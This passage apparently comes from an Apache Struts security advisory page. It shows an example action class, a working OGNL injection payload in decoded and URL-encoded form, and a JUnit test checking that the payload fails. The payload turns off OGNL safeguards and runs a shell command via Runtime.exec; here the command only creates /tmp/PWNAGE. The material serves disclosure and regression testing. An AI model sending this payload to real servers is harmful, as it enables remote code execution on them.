DUE TO SPAM, SIGN-UP IS DISABLED. Goto Selfserve wiki signup and request an account.
...
| Code Block | ||
|---|---|---|
| ||
public class FooAction {
private String foo;
public String execute() {
return "success";
}
public String getFoo() {
return foo;
}
public void setFoo(String foo) {
this.foo = foo;
}
}
|
Here's an actual decoded example, which will create /tmp/PWNAGE directory:
| No Format |
|---|
/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true
|
encoded version:
| No Format |
|---|
/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
|
And the JUnit version
| Code Block | ||
|---|---|---|
| ||
public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
@Test
public void testExecute() throws Exception {
request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +
"java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), " +
"@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");
request.setParameter("top['foo'](0)", "true");
String res = this.executeAction("/example/foo.action");
FooAction action = this.getAction();
File pwn = new File("/tmp/PWNAGE");
Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());
}
}
|
...